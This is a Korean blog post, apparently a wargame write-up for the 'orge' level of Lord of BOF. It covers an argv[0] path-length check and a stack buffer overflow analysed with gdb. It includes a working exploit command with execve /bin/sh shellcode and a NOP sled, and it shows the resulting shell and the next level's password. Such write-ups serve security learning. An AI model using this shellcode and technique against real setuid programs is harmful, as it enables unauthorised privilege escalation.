본문 바로가기

Computer Engineering/System

[Lord of BOF] orge 정복기

이번 아이디어는 이전 몹(?)들을 물리치면서 겪은 경험상 떠오른 아이디어이다.

gdb 를 이용해서 argv[0] 에 있는 값을 확인하면

실행파일의 절대경로가 들어갔던 것이 생각이 났다.

즉 절대경로를 이용해서 들어가는 것을 확인 할 수 있었다. 여기에 착안해서 확인을 해보자!! 


$ pwd
[darkelf@localhost darkelf]$ pwd
/home/darkelf

그리고 경로가 실제로 어떻게 확인하기 위해서 
Test 파일을 생성해 보았다.
[darkelf@localhost darkelf]$ vi path_test.c 

#include <stdio.h>
#include <stdlib.h>

main ( int argc , char *argv[])
{
    int pathlen = strlen(argv[0]);
    printf("%s\n", argv[0]);
    printf("%i\n",pathlen);
}

[darkelf@localhost darkelf]$ ./path_test 
./path_test
11
=> 실행결과 ./path_test 가 argv[0] 에 들어가는 것을 확인할 수 있었다.
. / _ 이런 문자들까지 strlen 에서는 길이로 취급을해서 . / p a t h _ t e s t => 이렇게 11개로 취급을 하는 것이다.

이것을 gdb 를 통해 조금 더 분석해보기로 했다.

[darkelf@localhost darkelf]$ gdb path_test
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set disassembly-flavor intel 
(gdb) disassemble main
Dump of assembler code for function main:
0x80483f8 <main>: push   %ebp
0x80483f9 <main+1>: mov    %ebp,%esp
0x80483fb <main+3>: sub    %esp,4
0x80483fe <main+6>: mov    %eax,DWORD PTR [%ebp+12]
0x8048401 <main+9>: mov    %edx,DWORD PTR [%eax]
0x8048403 <main+11>: push   %edx
0x8048404 <main+12>: call   0x8048320 <strlen>
0x8048409 <main+17>: add    %esp,4
0x804840c <main+20>: mov    DWORD PTR [%ebp-4],%eax
0x804840f <main+23>: mov    %eax,DWORD PTR [%ebp+12]
0x8048412 <main+26>: mov    %edx,DWORD PTR [%eax]
0x8048414 <main+28>: push   %edx
0x8048415 <main+29>: push   0x8048490
0x804841a <main+34>: call   0x8048340 <printf>
0x804841f <main+39>: add    %esp,8
0x8048422 <main+42>: mov    %eax,DWORD PTR [%ebp-4]
0x8048425 <main+45>: push   %eax
0x8048426 <main+46>: push   0x8048494
0x804842b <main+51>: call   0x8048340 <printf>
0x8048430 <main+56>: add    %esp,8
0x8048433 <main+59>: leave  
0x8048434 <main+60>: ret    
0x8048435 <main+61>: nop    
0x8048436 <main+62>: nop    
0x8048437 <main+63>: nop    
0x8048438 <main+64>: nop    
0x8048439 <main+65>: nop    
0x804843a <main+66>: nop    
0x804843b <main+67>: nop    
0x804843c <main+68>: nop    
0x804843d <main+69>: nop    
0x804843e <main+70>: nop    
0x804843f <main+71>: nop    
End of assembler dump.

(gdb) b *0x80483fb
Breakpoint 1 at 0x80483fb
(gdb) display /i $eip
 
(gdb) r aaaa bbbb cccc 
// 확실한 Test 를 위해서 argv[1] 에는 aaaa argv[2] 에는 bbbb argv[3] 에는 cccc 를 넣어주었다.
그 결과는 x/64x $esp 를 통해서 확인할 수 있었다.

Starting program: /home/darkelf/path_test aaaa bbbb cccc

Breakpoint 1, 0x80483fb in main ()
1: x/i $eip  0x80483fb <main+3>: sub    %esp,4
(gdb) x/64x $esp
0xbffffae8: 0xbffffb08 0x400309cb 0x00000004 0xbffffb34
0xbffffaf8: 0xbffffb48 0x40013868 0x00000004 0x08048350
0xbffffb08: 0x00000000 0x08048371 0x080483f8 0x00000004
0xbffffb18: 0xbffffb34 0x080482c0 0x0804846c 0x4000ae60
0xbffffb28: 0xbffffb2c 0x40013e90 0x00000004 0xbffffc31
0xbffffb38: 0xbffffc49 0xbffffc4e 0xbffffc53 0x00000000
0xbffffb48: 0xbffffc58 0xbffffc6a 0xbffffc83 0xbffffca2
0xbffffb58: 0xbffffcc4 0xbffffcd1 0xbffffe94 0xbffffeb3
0xbffffb68: 0xbffffed0 0xbffffee5 0xbfffff04 0xbfffff0f
0xbffffb78: 0xbfffff23 0xbfffff33 0xbfffff3b 0xbfffff4c
0xbffffb88: 0xbfffff56 0xbfffff64 0xbfffff75 0xbfffff83
0xbffffb98: 0xbfffff8e 0xbfffffa1 0x00000000 0x00000003
0xbffffba8: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffbb8: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffbc8: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffbd8: 0x08048350 0x0000000b 0x000001fa 0x0000000c

argv[0] , argv[1] , argv[2] , argv[3] => 이렇게 4 가지의 인자값이 들어간 것을 위에서 확인할 수 있다.
이제 남은 것은 각각에 어떤 값이 들어가는지 확인을 해주면 될듯? 확인작업에 들어가자!!

(gdb)x/x 0xbffffb34
0xbffffb34: 0xbffffc31
// 일단은 인자개수를 표시해주는 부분 다음에 argv[] 가 있다는 것을 알기때문에 그 값이 어떤 주소를 가리키고 있는지 확인해보기로 했다. 그 결과 
0xbffffc31 인 것을 확인할 수 있었다.
 
(gdb) x/5s 0xbffffc31
0xbffffc31: "/home/darkelf/path_test"
0xbffffc49: "aaaa"
0xbffffc4e: "bbbb"
0xbffffc53: "cccc"
0xbffffc58: "PWD=/home/darkelf"
//  0xbffffc31 을 시작해서 그 뒤에 어떤 값을 갖고 있는지 확인해 보기로 했다.

0xbffffc31:  "/home/darkelf/path_test" => argv[0]
0xbffffc49:  "aaaa" => argv[1]
0xbffffc4e:  "bbbb" => argv[2]
0xbffffc53:  "cccc" => argv[3]
=> 시스템 상에서는 이렇게 들어간다는 것을 확인할 수 있었다.
우리가 path_test 라는 Test파일을 이용해서 확인했을 때에는 ./path_test 이렇게 상대경로로 나왔지만 실제 시스템에서는 절대경로 
/home/darkelf/path_test 이렇게 들어가는 것이다. 그러므로 시스템 상에서 check 를 할 때에도 이 길이를 Check 할 것 같다는 생각이 들었다!!

그렇다면 dir 를 하나 생성해주어서 경로를 77로 맞추어주면 끝날 문제라고 생각했다!! 그래서 Test 궈궈씽~~~!!

실제 파일명은 orge
그렇다면 orge 실행 시 argv[0] 값에 /home/darkelf/orge 이렇게 들어갈 것이다.
/ h o m e / d a r k e l f / o r g e => 이렇게 하나하나 센 결과 18개의 문자가 들어간것을 확인할 수 있다. 그렇다면 77-18 = 59 라는 값이 나온다. / 을 포함시켜서 59이므로 폴더명길이가 58이 되는 폴더를 만들기로 했다. 58 abcde
abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc
abcde * 11 + abc 이렇게 만들어 보았다.  

[darkelf@localhost darkelf]$ mkdir abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc

[darkelf@localhost darkelf]$ ls
abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc  orge    path_test
core                                                        orge.c  path_test.c

[darkelf@localhost darkelf]$ cp orge abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc/
=> 복사를 해주었다.
[darkelf@localhost darkelf]$ cd abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc/
[darkelf@localhost abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc]$ ls
orge

하지만 문제가 생겼다. 해당 파일의 권한이 바뀐 것이다!!
[darkelf@localhost abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc]$ ls -l
total 16
-rwsr-sr-x    1 darkelf  darkelf     12700 Dec 26 23:50 orge
 
나의 Mistake 를 알 수 있었다.

그렇다면 $mv 를 실행해보았다. 그런데 mv 는 마음대로 왔다리 갔다리 하는 것이 이상하다!! 

darkelf 권한으로 짝퉁 파일인 orga 파일을 컴파일해서 gdb 를 이용해서 분석에 들어갔다!!
 
[darkelf@localhost darkelf]$ gdb /home/darkelf/abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc/orga
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x8048500 <main>:       push   %ebp
0x8048501 <main+1>:     mov    %ebp,%esp
0x8048503 <main+3>:     sub    %esp,44
0x8048506 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   0x8048690
0x8048511 <main+17>:    call   0x8048410 <printf>
0x8048516 <main+22>:    add    %esp,4
0x8048519 <main+25>:    push   0
0x804851b <main+27>:    call   0x8048420 <exit>
0x8048520 <main+32>:    add    %esp,4
0x8048523 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048526 <main+38>:    mov    %edx,DWORD PTR [%eax]
0x8048528 <main+40>:    push   %edx
0x8048529 <main+41>:    call   0x80483f0 <strlen>
0x804852e <main+46>:    add    %esp,4
0x8048531 <main+49>:    mov    %eax,%eax
0x8048533 <main+51>:    cmp    %eax,77
0x8048536 <main+54>:    je     0x8048550 <main+80>
0x8048538 <main+56>:    push   0x804869c
0x804853d <main+61>:    call   0x8048410 <printf>
0x8048542 <main+66>:    add    %esp,4
0x8048545 <main+69>:    push   0
0x8048547 <main+71>:    call   0x8048420 <exit>
0x804854c <main+76>:    add    %esp,4
0x804854f <main+79>:    nop
0x8048550 <main+80>:    nop
0x8048551 <main+81>:    mov    DWORD PTR [%ebp-44],0x0
0x8048558 <main+88>:    mov    %eax,DWORD PTR [%ebp-44]
0x804855b <main+91>:    lea    %edx,[%eax*4]
0x8048562 <main+98>:    mov    %eax,%ds:0x80497d4
0x8048567 <main+103>:   cmp    DWORD PTR [%eax+%edx],0
0x804856b <main+107>:   jne    0x8048570 <main+112>
0x804856d <main+109>:   jmp    0x80485b0 <main+176>
0x804856f <main+111>:   nop
0x8048570 <main+112>:   mov    %eax,DWORD PTR [%ebp-44]
0x8048573 <main+115>:   lea    %edx,[%eax*4]
0x804857a <main+122>:   mov    %eax,%ds:0x80497d4
0x804857f <main+127>:   mov    %edx,DWORD PTR [%eax+%edx]
0x8048582 <main+130>:   push   %edx
0x8048583 <main+131>:   call   0x80483f0 <strlen>
0x8048588 <main+136>:   add    %esp,4
0x804858b <main+139>:   mov    %eax,%eax
0x804858d <main+141>:   push   %eax
0x804858e <main+142>:   push   0
0x8048590 <main+144>:   mov    %eax,DWORD PTR [%ebp-44]
0x8048593 <main+147>:   lea    %edx,[%eax*4]
0x804859a <main+154>:   mov    %eax,%ds:0x80497d4
0x804859f <main+159>:   mov    %edx,DWORD PTR [%eax+%edx]
0x80485a2 <main+162>:   push   %edx
---Type <return> to continue, or q <return> to quit---
0x80485a3 <main+163>:   call   0x8048430 <memset>
0x80485a8 <main+168>:   add    %esp,12
0x80485ab <main+171>:   inc    DWORD PTR [%ebp-44]
0x80485ae <main+174>:   jmp    0x8048558 <main+88>
0x80485b0 <main+176>:   mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:   add    %eax,4
0x80485b6 <main+182>:   mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:   add    %edx,47
0x80485bb <main+187>:   cmp    BYTE PTR [%edx],0xbf
0x80485be <main+190>:   je     0x80485d7 <main+215>
0x80485c0 <main+192>:   push   0x80486ab
0x80485c5 <main+197>:   call   0x8048410 <printf>
0x80485ca <main+202>:   add    %esp,4
0x80485cd <main+205>:   push   0
0x80485cf <main+207>:   call   0x8048420 <exit>
0x80485d4 <main+212>:   add    %esp,4
0x80485d7 <main+215>:   mov    %eax,DWORD PTR [%ebp+12]
0x80485da <main+218>:   add    %eax,4
0x80485dd <main+221>:   mov    %edx,DWORD PTR [%eax]
0x80485df <main+223>:   push   %edx
0x80485e0 <main+224>:   call   0x80483f0 <strlen>
0x80485e5 <main+229>:   add    %esp,4
0x80485e8 <main+232>:   mov    %eax,%eax
0x80485ea <main+234>:   cmp    %eax,48
0x80485ed <main+237>:   jbe    0x8048606 <main+262>
0x80485ef <main+239>:   push   0x80486c8
0x80485f4 <main+244>:   call   0x8048410 <printf>
0x80485f9 <main+249>:   add    %esp,4
0x80485fc <main+252>:   push   0
0x80485fe <main+254>:   call   0x8048420 <exit>
0x8048603 <main+259>:   add    %esp,4
0x8048606 <main+262>:   mov    %eax,DWORD PTR [%ebp+12]
0x8048609 <main+265>:   add    %eax,4
0x804860c <main+268>:   mov    %edx,DWORD PTR [%eax]
0x804860e <main+270>:   push   %edx
0x804860f <main+271>:   lea    %eax,[%ebp-40]
0x8048612 <main+274>:   push   %eax
0x8048613 <main+275>:   call   0x8048440 <strcpy>
0x8048618 <main+280>:   add    %esp,8
0x804861b <main+283>:   lea    %eax,[%ebp-40]
0x804861e <main+286>:   push   %eax
0x804861f <main+287>:   push   0x80486df
0x8048624 <main+292>:   call   0x8048410 <printf>
0x8048629 <main+297>:   add    %esp,8
0x804862c <main+300>:   push   40
0x804862e <main+302>:   push   0
0x8048630 <main+304>:   lea    %eax,[%ebp-40]
0x8048633 <main+307>:   push   %eax
0x8048634 <main+308>:   call   0x8048430 <memset>
0x8048639 <main+313>:   add    %esp,12
0x804863c <main+316>:   leave
---Type <return> to continue, or q <return> to quit---
0x804863d <main+317>:   ret
0x804863e <main+318>:   nop
0x804863f <main+319>:   nop
End of assembler dump.

(gdb)
(gdb) b *0x8048503
Breakpoint 1 at 0x8048503
(gdb)
(gdb) r $(python -c 'print "a"*48') $(python -c 'print "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
Starting program: /home/darkelf/abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc/orga $(python -c 'print "a"*48') $(python -c 'print "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

(gdb) x/64x $esp
0xbffff868:     0xbffff888      0x400309cb      0x00000003      0xbffff8b4
0xbffff878:     0xbffff8c4      0x40013868      0x00000003      0x08048450
0xbffff888:     0x00000000      0x08048471      0x08048500      0x00000003
0xbffff898:     0xbffff8b4      0x08048390      0x0804866c      0x4000ae60
0xbffff8a8:     0xbffff8ac      0x40013e90      0x00000003      0xbffff9aa
0xbffff8b8:     0xbffff9f8      0xbffffa29      0x00000000      0xbffffc37
0xbffff8c8:     0xbffffc49      0xbffffc61      0xbffffc80      0xbffffca2
0xbffff8d8:     0xbffffcaf      0xbffffe72      0xbffffe91      0xbffffeae
0xbffff8e8:     0xbffffec3      0xbffffee2      0xbffffeed      0xbffffefd
0xbffff8f8:     0xbfffff05      0xbfffff16      0xbfffff20      0xbfffff2e
0xbffff908:     0xbfffff3f      0xbfffff4d      0xbfffff58      0xbfffff6b
0xbffff918:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffff928:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffff938:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffff948:     0x00000000      0x00000009      0x08048450      0x0000000b
0xbffff958:     0x000001fa      0x0000000c      0x000001fa      0x0000000d

(gdb) x/x 0xbffff8b4
0xbffff8b4:     0xbffff9aa

(gdb) x/5s 0xbffff9aa
0xbffff9aa:      "/home/darkelf/abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc/orga"
0xbffff9f8:      'a' <repeats 48 times>
0xbffffa29:      '\220' <repeats 200 times>...
0xbffffaf1:      '\220' <repeats 200 times>...
0xbffffbb9:      '\220' <repeats 100 times>, "1픐h//shh/bin\211?S\211?柰\013?200"


[darkelf@localhost darkelf]$ /home/darkelf/abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc/orge $(python -c 'print "a"*44+"\x29\xfa\xff\xbf"') $(python -c 'print "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)??
bash$ my-pass
euid = 507
timewalker

'Computer Engineering > System' 카테고리의 다른 글

[퍼옴]부팅은 어떤 순서로 이루어지나?  (0) 2012.02.08
[Lord of BOF ] Darkelf 정복기  (0) 2011.12.27
[ESPC2] 0x08 Wolfman 정복기  (0) 2011.12.26
[ESPC2] 0x07 정리  (0) 2011.12.24
[ESPC2] 0x07 Eggshell  (0) 2011.12.24